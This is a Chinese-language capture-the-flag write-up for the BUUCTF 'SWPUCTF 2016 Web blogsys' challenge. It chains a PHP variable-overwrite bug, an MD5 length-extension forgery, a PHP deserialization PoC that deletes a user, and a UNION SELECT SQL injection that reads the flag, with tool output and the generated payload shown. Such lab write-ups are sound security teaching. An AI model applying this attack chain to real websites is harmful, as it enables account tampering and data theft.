BUUCTF:[SWPUCTF 2016]Web blogsys

题目地址:https://buuoj.cn/challenges#[SWPUCTF%202016]Web%20blogsys

BUUCTF:[SWPUCTF 2016]Web blogsys_第1张图片
源码地址:https://github.com/CTFTraining/swpuctf_2016_web_blogsys

common.php

//common.php
foreach (Array("_POST", "_GET", "_COOKIE") as $key) {
    foreach ($$key as $k => $v) {
        if (is_array($v)) {
            die("hello,hacker!");
        } else {
            $k[0] != '_' ? $$k = addslashes($v) : $$k = "";
        }
    }
}

很明显,这里存在一个变量覆盖漏洞。但是这段代码在common.php中,包含这个文件的都是在最开始加载的,但是变量覆盖只能控制最后一次覆盖的变量值,如果这个文件中还有对变量有赋值操作的都会又被覆盖掉,变量覆盖就失效了,因此我们只能覆盖从未声明的变量

riji.php

//riji.php
if ($_SESSION['user']) {
    $username = $_SESSION['user'];
    @mysql_conn();
    $sql = "select * from user where name='$username'";
    $result = @mysql_fetch_array(mysql_query($sql));
    mysql_close();
    if ($result['userid']) {
        $id = intval($result['userid']);
    }
} else {
    exit();
}

登录成功后生成SESSION,但是如果登录成功后,再删除这个用户,此时再去数据库中查找,显然无法查找到数据,即可导致$result[''userid]为空,$id这个变量没有被赋值,导致该变量可控

再往下看

//riji.php
@mysql_conn();
$sql1 = "select * from msg where userid= $id order by id";
$query = mysql_query($sql1);
$result1 = array();
while ($temp = mysql_fetch_assoc($query)) {
    $result1[] = $temp;
}
mysql_close();
foreach ($result1 as $x => $o) {
    echo display($o['msg']);
}

变量插入查询语句时,对$id并没有使用任何符号包裹,所以addslashes()并没有什么作用,可以直接注入

接下来看看如何删除用户
api.php

//api.php
$a = unserialize(base64_decode($api));
$a->do_method();
//api.php
function check(){
		$username = addslashes($this->name);//进入数据库的数据进行转义
		@mysql_conn();
		$sql = "select * from user where name='$username'";
		$result = @mysql_fetch_array(mysql_query($sql));
		mysql_close();
		if(!empty($result)){
			//利用 salt 验证是否为该用户
			if($this->check === md5($result['salt'] . $this->data . $username)){
				echo '(=-=)!!';
				if($result['role'] == 1){//检查是否为admin用户
					return 1;
				}
				else{
					return 0;
				}
			}
			else{
				return 0;
			}
		}
		else{
			return 0;
		}
	}

api文件包含了common.php即存在变量覆盖漏洞,api参数没有初始化,即可以控制$a。不过要删除用户需要绕过这里

//api.php
$this->check === md5($result['salt'] . $this->data . $username)

这里的$result['salt']是随机生成的,所以需要找到一个满足的条件的$check$data

接着在forget.php

//forget.php
if ($result['salt']) {
            $check = base64_encode(md5($result['salt']));
            $name = $result['name'];
            header("Location:/repass.php?username=$name&check=$check&mibao=$mibao&pass=$pass");
        }

如果选择忘记admin用户密码,那么这个跳转就会泄漏admin的随机base64_encode(md5($result['salt'])),知道了md5($result['salt'])要得出md5($result['salt'] . $this->data . "admin")值,就可以使用哈希扩展攻击

哈希扩展攻击exp:https://github.com/JoyChou93/md5-extension-attack

注册一个用户,然后注销退出,点击找回密码,找回用户admin的密码,得到:
YWI0ZDIyOTI1ZDI2OGRkNjkzN2U0MWVkYmU4MWU5N2Ubase64解密得到:
ab4d22925d268dd6937e41edbe81e97e
BUUCTF:[SWPUCTF 2016]Web blogsys_第2张图片

PS C:\Users\Administrator\Desktop\md5-extension-attack> python2 .\md5pad.py ab4d22925d268dd6937e41edbe81e97e admin 16
Payload:  '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00admin'
Payload urlencode: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00admin
md5: 6122c04e8a1f3529d556199960ef2556
PS C:\Users\Administrator\Desktop\md5-extension-attack>

构造反序列化poc:

 
class admin{
    var $name = "admin";
    var $check= "6122c04e8a1f3529d556199960ef2556";
    var $data = "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00";
    var $method="del_user";   //要调用的函数  
    var $userid="2";  //要删除的用户  
}
$a = new admin(); 
$api = base64_encode(serialize($a));
echo $api;
?>

注意这里的userid一般注册的第一个用户都是2,但是在index.php中可以看到,userid应该就是cookiebase64解密出来的第一个数字

    @mysql_conn();
    $sql = "select * from user where name='$username'";
    $result = @mysql_fetch_array(mysql_query($sql));
    mysql_close();
    if (!empty($result)) {

        if ($result['passwd'] == md5($password)) {
            $user_cookie = '';
            $user_cookie .= $result['userid'];
            $user_cookie .= $result['name'];
            $user_cookie .= $result['salt'];
            $cookies = base64_encode($user_cookie);
            //$cookies = $user_cookie;
            setcookie("user", $cookies, time() + 60, '/');
            $_SESSION['login'] = 1;
            $_SESSION['user'] = $username;
            header('Location:/riji.php');
        } else {
            echo("");
        }
    } else {
        echo("");
    }
}

BUUCTF:[SWPUCTF 2016]Web blogsys_第3张图片
Mm1vY2h1R3E0aGJGc0piTjBSSTZibw%3D%3D解密后得到:2mochuGq4hbFsJbN0RI6bo Ü
可以看到userid=2,这样得到userid就可以运行poc了

PS C:\Users\Administrator\Desktop> php .\exp.php
Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI2MTIyYzA0ZThhMWYzNTI5ZDU1NjE5OTk2MGVmMjU1NiI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoxOiIyIjt9

然后把生成的payload作为api.php?api=的参数传入,新建一个隐私窗口或者换一个浏览器传入,成功后会弹出Delete user success!!
在这里插入图片描述
最后在http://0ddb6dfe-89c4-4c64-bb5c-889cc033d68f.node3.buuoj.cn/riji.php?id=-1 union select 1,2,flag from flag注入即可得到flag
BUUCTF:[SWPUCTF 2016]Web blogsys_第4张图片

你可能感兴趣的:(CTF_WEB_Writeup,BUUCTF,SWPUCTF,2016,Web,blogsys)